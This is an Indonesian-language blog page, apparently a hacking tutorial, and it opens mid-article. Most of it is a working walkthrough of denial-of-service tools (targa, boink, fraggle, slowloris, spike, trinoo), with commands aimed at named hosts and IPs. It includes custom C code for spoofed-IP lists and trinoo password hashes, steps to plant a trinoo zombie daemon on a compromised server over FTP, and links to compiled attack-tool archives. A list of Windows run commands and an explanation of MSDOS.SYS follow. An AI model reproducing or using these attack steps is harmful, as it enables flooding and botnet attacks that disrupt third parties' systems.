ether.h  if_ether.h  if_tr.h  in.h        ip.h   ip_icmp.h  ip_udp.h    protocols.h  udp.h
icmp6.h  if_fddi.h   igmp.h   in_systm.h  ip6.h  ip_tcp.h   protocol.h  tcp.h
bt netinet #

Misal kita ingin menyerang seluruh range ip dari range ip 74.63.241.86-74.63.241.88


Berikut ini adalah contohnya:
Code:
bt ~ # ./targa 74.63.241.86 74.63.241.88 -t 0 -n 999999
                targa 1.0 by Mixter
Leetness on faxen wings:
To: 74.63.241.86 - 74.63.241.88
Repeats: 999999
   Type:     0
74.63.241.86 [ $$$$$$$$$$$$$$$@@@@@@@@@@@@@@@-----....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#####################&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%
opsi -t 0 berarti anda menyerang dengan menggunakan gabungan semua teknik.
opsi -n 999999 merupakan jumlah pengulangan sebanyak 999999


Boink
Merupakan tool yang bisa membuat blue screen of death pada mesin-mesin windows 9x dan nt.
Berikut ini contoh cara penggunaanya:
Code:
bt ~ # ./boink 127.0.0.1 74.63.241.86 80 80 99999999999
(0)74.63.241.86:25->65
(1)74.63.241.86:25->65
(2)74.63.241.86:25->65
(3)74.63.241.86:25->65
(4)74.63.241.86:25->65
(5)74.63.241.86:25->65
(6)74.63.241.86:25->65
(7)74.63.241.86:25->65
(8)74.63.241.86:25->65
(9)74.63.241.86:25->65
(10)74.63.241.86:25->65
(11)74.63.241.86:25->65
(12)74.63.241.86:25->65
(13)74.63.241.86:25->65
(14)74.63.241.86:25->65
(15)74.63.241.86:25->65
(16)74.63.241.86:25->65
(17)74.63.241.86:25->65
(18)74.63.241.86:25->65
(19)74.63.241.86:25->65
(20)74.63.241.86:25->65
(21)74.63.241.86:25->65
(22)74.63.241.86:25->65
(23)74.63.241.86:25->65
(24)74.63.241.86:25->65
(25)74.63.241.86:25->65
dst ...........


Asiknya Smurf & UDP Attack

Smurf attack merupakan teknik penyerangan dengan mengirimkan paket icmp yang dispoof ke target kita

Bloop
Merupakan salah satu tool dos dengan metode smurf attack.
Bloop akan mengirimkan paket icmp spoof secara acak ke target kita untuk membuat mesin target crash.

Berikut ini adalah contoh penggunaan bloop:
Code:
bt ~ # ./bloop 127.0.0.1 sec-r1z.com 99999999
Bloop v 1.0



Status: Connected....packets sent.



Fraggle
Fraggle merupakan tool untuk tipe smurf dos / ddos yang menggunakan suatu file broadcast yang berisi daftar alamat2 ip spoof.

Sebelum menggunakan fraggle kita memerlukan sebuah file broadcast ip spoof, Untuk itu
saya sudah membuat sendiri tool untuk spoof ip generator namanya dimas.c:

filename:dimas.c , programmer: mywisdom
Code:
/*dimas.c random ip generator (public ip and private ip)
version 1.0
c0d3r: mywisdom
greetz:gunslinger,flyff666,kiddies,xtr0nic,whitehat,Danzel and so on
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void bikin_random_ip()
 {
FILE *dom2;
int a,b,c,d,a2,b2,jum;
dom2=fopen("ip.txt","w+");  
    for(;;)
 {
   srand ( time(NULL) );
      a = rand ()% 255 ;
     
      b = rand ()% 255 ;
     
      c = rand ()% 255 ;
    
      d = rand ()% 255 ;
   
  if ( (a != 10) && (a != 172) && (a != 192)) 
   {      
      if(dom2!=NULL)
       {
         if(a2!=a)
         {   
       fprintf(dom2,"%d.%d.%d.%d\n",a,b,c,d);
         } 
       }
   }

 a2=a;
 }
fclose(dom2);

 }

int main ()
{
bikin_random_ip();
return 0;
}
kompile file di atas dan run untuk membuat file ip spoof dengan nama file: ip.txt

Code:
gcc -o dimas dimas.c
./dimas
Selanjutnya misal target kita sec-r1z.com, contoh penggunaan fraggle untuk menyerang sec-r1z.com:
Code:
bt ~ # ./fraggle sec-r1z.com  ip.txt 2000 900   80 0   99

fraggle.c by TFreak

Flooding sec-r1z.com (. = 25 outgoing packets)
................................................................................
Done!

bt ~ #



TCP Attack
Khusus untuk http ddos banyak tool yang bisa kita pakai
misal:
slowloris

slowloris biasanya khusus digunakan untuk menyerang http port
,keunggulan slowloris adalah hanya menggunakan bandwoth yang kecil dari server attacker,
tool ini akan mengirimkan http request dalam ukuran panjang berupa angka random panjang
terlihat dari source codenya:
Code:
if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
Contoh penggunaan slowloris untuk menyerang sec-r1z.com :

Code:
bt ~ # ./slowloris.pl -dns www.sec-r1z.com -port 80 -timeout 30 -num 500 -cache

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco

 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
Connecting to www.sec-r1z.com:80 every 30 seconds with 500 sockets:
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.


Tembak.c
Ini sih tool buat nuke yang udah lama banget buatan anak echo ) dah ada dari jaman baheula ), ok mari kita coba pakai lagi untuk contoh target sec-r1z.com :
Code:
bt ~ # ./tembak

Kirim Paket ke IP orang

Cara Pake : $ tembak hostname.orang port

bt ~ # ./tembak sec-r1z.com 80

Serbuu....!!!! Hancurkaannn sec-r1z.com ke port 80



httpd_flood.pl
Ini dia nih perl skrip khusus untuk mengantung socket httpd ).khusus hanya menyerang http daemon (port 80)
Berikut ini adalah contoh cara pakainya, misal target tbd.my, misal kita menggunakan lama serangan infinite (selamanya) dan kita run di background di salah satu mesin yang kita root:
Code:
./httpd_flood.pl tbd.my -1 99999 -1 &
Teknik Serangan Gabungan
Teknik serangan gabungan ini menggabungkan aneka jenis serangan, Anda bisa coba tool ini: spike
ok mari kita lihat semua tool2 yang digabung menjadi satu teknik serangan mematikan oleh spike:
Code:
bt spike # ls
README  bin/  sources/  spike.sh*  spike.sh~*
bt spike # ls bin
1234*   conseal*  jolt*   latierra*  orgasm*  spiffit*  teardrop*
beer*   dcd3c*    kkill*  misfrag*   pepsi*   sping*    trash*
boink*  fawx*     koc*    nestea*    pimp*    stream*   udpdata*
bonk*   gewse*    kox*    newtear*   pong*    syndrop*  wingatecrash*
coke*   gewse5*   land*   opentear*  smurf*   synk*
bt spike #
sudah anda lihat kan? tool ini menggabungkan berbagai macam ddos tool menjadi 1
Mari kita coba run tool ini untuk attack target kita misal: sec-r1z.com
Code:
bt spike # ./spike.sh sec-r1z.com
 Main Menu For spike.sh
1] Combo Attacks
2] Pick The Attack
3] Pick The Attack2 (Enter Your Own Info)
4] Class C Attack (Drop A Class C)
5] Never Die (Attacks That Never Die)
6] Clean up (Kill Hung Attacks)
7] Info Menu (Other Info About spike.sh)
8] To Exit Out

Enter The Number Of The Option To Run:
misal kita ingin menggunakan combo attack untuk menyerang target kita
ketikkan 1.

Maka akan muncul pilihan 3 jenis serangan berdasarkan tingkat ganasnya serangan ( kek maen game aja yah hahahaahaha):
Code:
ComboAttack Menu\033[0m
 1] Light Attack   (12 Attacks)
 2] Medium Attack  (20 Attacks)
 3] Hard Attack    (33 Attacks)
 4] To Exit Out

Enter The Number Of The Option To Run
#> \c
Misal kita pilih yang hard attack, ketikkan 3 !!!
Code:
ComboAttack Menu\033[0m
 1] Light Attack   (12 Attacks)
 2] Medium Attack  (20 Attacks)
 3] Hard Attack    (33 Attacks)
 4] To Exit Out

Enter The Number Of The Option To Run
#> \c
3
Teadroping.....
Completed....
Pimping.....
Completed....
Nesteaing.....
Completed....
Misfraging.....
Completed....
Syndroping.....
Completed....
Koxing.....
Completed....
NewTearing.....
Completed....
Bonking.....
Completed....
Fawxing.....
Completed....
Trashing.....
Completed....
Smurfing....
Completed....
Attacking On Hold For BandWidth
Completed....
Boinking.....
Completed....
Conseal Firewall Attacking.....
Completed....
Jolting.....
Completed....
Modem +++ DoSing
dst...



Pembahasan Khusus Tambahan

Trinoo
Trinoo merupakan tool ddos yang sangat populer sejak dulu menggunakan sistem daemon slave sebagai zombie dan master server sebagai pengontrol attack. Ok trinoo ini pada jaman dulu bisa melakukan pengembangan jaringan zombie otomatis dengan scanning range ip poblik lalu melakukan eskploitasi terhadap bug lama wu ftpd , dll untuk dijadikan zombie.
pertama download dulu trinoo dan ekstrak:
Code:
wget http://packetstormsecurity.org/distributed/trinoo.tgz
tar zxvf trinoo.tgz
Mari saya jelaskan isinya trinoo dan gimana cara kerjanya:

Code:
bt trinoo # ls
BENSUQS  daemon/  master/  password  trinoo.tgz
yang ada di folder daemon adalah yang akan kita pasang di zombie kita yaitu mesin2 yang sudah kita owned.

Mengedit dan menyetting daemon trinoo
Untuk mengkompile daemon trinoo ini membutuhkan lib crypt dalam glibc.
Mari kita kompile Daemon trinoo gunakan perintah ini:
Code:
bt daemon # gcc -o ns ns.c -lcrypt
bt daemon #
Source code asli dari compare password pada daemon trinoo adalah:
Code:
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
Jadi kita bisa melihat bahwa fungsi:
crypt(pass, "aI"), "aIf3YWfOhw.V.")
plain text sebelum di crypt sebenarnya adalah: l44adsl

l44adsl ini adalah password default trinoo

crypt ini adalah one way hash yg tidak bisa didekrip sebenarnya.


di mana sintaks fungsi crypt ini adalah:

char * crypt (const char *key, const char *salt)


di mana daemon trinoo ini default akan bind port 27444/udp dengan default password l44adsl

Misal Anda ingin mengganti default password dan default port untuk daemon trinoo, gunakan tool yang saya buat ini:

Code:
/*Devilzc0de trinoo hash generator
programmer: mywisdom
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *data;

int hasil;
 hasil=crypt(argv[1], "aI");
 printf("trinoo hash anda adalah:%s\n",hasil);
}
Selanjutnya kompile dan jalankan, misal saya ingin mencari hash dari password: mywisdom
Code:
bt ~ # gcc -o trinoo_hash trinoo_hash.c -lcrypt
trinoo_hash.c:13:2: warning: no newline at end of file
bt ~ # ./trinoo_hash mywisdom
trinoo hash anda adalah:aI3Kc25mvwsN2
bt ~ #
ok selanjutnya kita edit source daemon di ns.c di mana kita ganti hash password trinoo tadi yg line ini:
Code:
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
kita akan ubah menjadi:
Code:
if (strcmp((char *)crypt(pass, "aI"), "aI3Kc25mvwsN2")==0) {
yang berarti password default daemon trinoo telah diganti menjadi: mywisdom

Sedangkan untuk mengganti default port trinoo misal kita mao ubah jadi port: 31337
kita ubah line ini di ns.c:
Code:
sa.sin_port = htons(27444);
menjadi:
Code:
sa.sin_port = htons(31337);

TErakhir jangan lupa setting alamat ip master dengan mengedit line berikut ini diganti alamat ip masternya:
Code:
char *master[] = {
  "129.237.122.40",
  "207.228.116.19",
  "209.74.175.130",
  NULL
penting!!! jangan lupa diganti alamat ip masternya klo gak tar jadi zombie orang!!!!

Selanjutnya kompile ulang daemon trinoo anda:
Code:
gcc -o ns ns.c -lcrypt
Ok selanjutnya silahkan upload dan run ke mesin yang sudah kita owned , misal:
Code:
bt daemon # ftp pcorders.com
Connected to pcorders.com.
220 ns3.pcorders.com FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (pcorders.com:root): mywisdom
331 Password required for mywisdom.
Password:
230 User mywisdom logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put ns
local: ns remote: ns
200 PORT command successful.
553 ns: Permission denied.
ftp> cd /tmp
250 CWD command successful.
ftp> put ns
local: ns remote: ns
200 PORT command successful.
150 Opening BINARY mode data connection for ns.
226 Transfer complete.
10814 bytes sent in 0.00175 secs (6.1e+03 Kbytes/sec)
ftp>                  
ftp> quit
221-You have transferred 10814 bytes in 1 files.
221-Total traffic for this session was 11363 bytes in 1 transfers.
221-Thank you for using the FTP service on ns3.pcorders.com.
221 Goodbye.
bt daemon # telnet pcorders.com
Trying 204.181.205.145...
Connected to pcorders.com.
Escape character is '^]'.

Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
mlogin: mywisdom
Password:
Last login: Wed May  5 02:10:58 from 105.subnet125-160-218.speedy.telkom.net.id
[admin@ns3 admin]$ ptrace
[t@ns3 admin]# cd /tmp
[t@ns3 /tmp]# ./ns
sh: ./ns: Permission denied
[t@ns3 /tmp]# chmod +x ns
[t@ns3 /tmp]# ./ns
Ok sudah run secara demonize di mesin slave kita , mari kita liat bind portnya:
Code:
[t@ns3 /tmp]# netstat -a | grep udp
udp        0      0 *:1161                  *:*
udp        0      0 *:1160                  *:*
udp        0      0 *:1159                  *:*
udp        0      0 *:27444                 *:*
udp      224      0 ns3.pcorders.com:1156   192.168.1.1:domain      ESTABLISHED
udp      224      0 ns3.pcorders.com:1155   192.168.1.1:domain      ESTABLISHED
udp        0      0 *:ntalk                 *:*
udp        0      0 *:talk                  *:*
udp        0      0 *:sunrpc                *:*
[t@ns3 /tmp]#
ok keliatan kan ada listening port udp 27444?
Ok selanjutnya kita compile dan run daemon master di mesin yang kita owned yang mao kita jadikan master slave

Untuk mengganti password default master lakukan langkah yang sama tapi line yg diganti adalah file master.c ini:

#define CRYPTKEY "ZsoTN.cq4X31"

ok misal saya install masternya di alamat ip x.x.x.x:
Code:
http://yoyoparty.com/upload/
mywisdom@trin00-king~#make
gcc -o master master.c blowfish.c -lcrypt
blowfish.c: In function 'blowfish_init':
blowfish.c:131: warning: incompatible implicit declaration of built-in function 'strncpy'
blowfish.c: In function 'encrypt_string':
blowfish.c:192: warning: incompatible implicit declaration of built-in function 'strlen'
blowfish.c:194: warning: incompatible implicit declaration of built-in function 'strcpy'
blowfish.c: In function 'decrypt_string':
blowfish.c:232: warning: incompatible implicit declaration of built-in function 'strlen'
blowfish.c:234: warning: incompatible implicit declaration of built-in function 'strcpy'
strip master
mywisdom@trin00-king~#./master
??
ok instalasi trinoo master di x.x.x.x selesai,selanjutnya untuk mengakses trinoo shell dari localhost attacker :
Code:
mywisdom@trin00-king~#telnet x.x.x.x 27665
Trying x.x.x.x...
Connected to hostxxxxxxxx.
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]


trinoo>
Dalam contoh ini saya menggunakan password default:
betaalmostdone

untuk memerintahkan master slave melakukan ddos ketikkan perintah : dos alamat_ip_target
Code:
trinoo> dos 74.63.241.86
DoS: Packeting 74.63.241.86.
trinoo>
Ok untuk sementara sekian dulu dan terima kasih

aneka compiled tool ddos bisa didownload di
http://yoyoparty.com/upload/ddos_tools.tgz
dan
http://yoyoparty.com/upload/compiled_ddos2.tgz

BEBERAPA PERINTAH YANG BERMANFAAT DI RUN COMMANDS WINDOWS XP

Pertama ketik star >>> run

Nah mungkin disini ada beberapa perintah yang bermanfaat buat kalian…
Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control.exe admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (if installed)
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control.exe desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control.exe color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control.exe folders

Fonts
control.exe fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

Java Control Panel (if installed)
jpicpl32.cpl

Java Control Panel (if installed)
javaws

Keyboard Properties
control.exe keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of W*NDOW$
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control.exe mouse

Mouse Properties
main.cpl

Network Connections
control.exe netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Nview Desktop Manager (if installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (if installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control.exe printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy
rsop.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Membedah file MSDOS.SYS

File msdos.sys merupakan file yang digunakan untuk menyimpan setting start-up Windows 95 dan 98. File ini terletak pada root directory drive C atau drive yang digunakan untuk booting. Pada file ini tersimpan informasi antara lain sebagai berikut :

1. BootGUI= [0,1]
Secara default Windows secara otomatis akan booting dengan GUI (Graphical User Interface). Dengan mengganti pilihan BootGUI seorang pemakai dapat memilih apakah akan booting ke Windows atau cukup pada dos prompt. Pilihan 1 berarti Windows booting menggunakan GUI. Sedangkan pilihan 0 berarti Windows melakukan booting hanya sampai dos prompt.

2. BootMenu=[0,1]
Secara default Windows 95 dan 98 tidak menampilkan boot menu kecuali kalau pemakai menekan tombol fungsi F8. Dengan menampilkan boot Menu, pemakai dapat memilih jenis booting yang diinginkan : Normal, Safe Mode, Step by step confirmation, Command Prompt Mode, dan sebagainya. Pilihan 1 berarti pada saat booting, Windows akan menampilkan boot menu.

3. Logo=[0,1]
Secara default Windows akan menampilkan gambar awan pada saat booting. Dengan mendisable pilihan ini seorang pemakai dapat melihat proses DOS boot yang terjadi pada background. Pilihan 1 berarti pada saat booting Windows akan menampilkan gambar awan dengan logo Windows.

4. BootDelay=n (n merupakan bilangan dengan satuan detik)
BootDelay merupakan waktu yang memungkinkan seorang pemakai untuk menekan tombol fungsi pada saat booting. Secara default nilai BootDelay adalah 2 yang berarti bahwa pemakai mempunyai kesempatan selama dua detik untuk menekan tombol fungsi.

5. Network=[0,1]
Pilihan 1 berarti Windows tetap mengaktifkan fasilitas network walaupun windows berjalan pada Safe Mode.

6. BootKeys=[0,1]
Secara default Windows mengenable tombol fungsi pada saat booting yang memungkinkan pemakai untuk mengontrol proses booting. Misalnya menekan F8 untuk menampilkan boot menu. Pilihan 1 berarti pemakai memiliki kesempatan untuk menekan tombol fungsi selama proses booting, sedangkan pilihan 0 berarti pemakai tidak punya kesempatan untuk menekan tombol fungsi.

7. AutoScan=[0,1,2]
Jika Windows shutdown secara tidak normal maka pada saat booting secara otomatis Windows akan melakukan scandisk. Pilihan 0 berarti AutoScan di-disable, 1 berarti Windows akan melakukan konfirmasi kepada Anda apakah akan menjalankan scandisk atau tidak, sedangkan 2 berarti Windows secara otomatis akan melakukan scandisk. Bila Anda memilih 0 pastikan bahwa Anda menjalankan scandisk setelah berada pada Windows.

8. BootSafe=[0,1]
Pilihan 1 berarti Windows Anda selalu booting pada safe mode, sedangkan 0 berarti booting secara normal. Pilihan safe mode hanya cocok digunakan bila Windows Anda sedang mengalami trouble.
IP
advertiser

CBox :D

FANS PAGE

Change Language

DAFTAR ISI

SMS GRATIS

Langganan Artikel

Enter your email address:

Delivered by FeedBurner

Categories

Search Engine OptimizationSubmit Express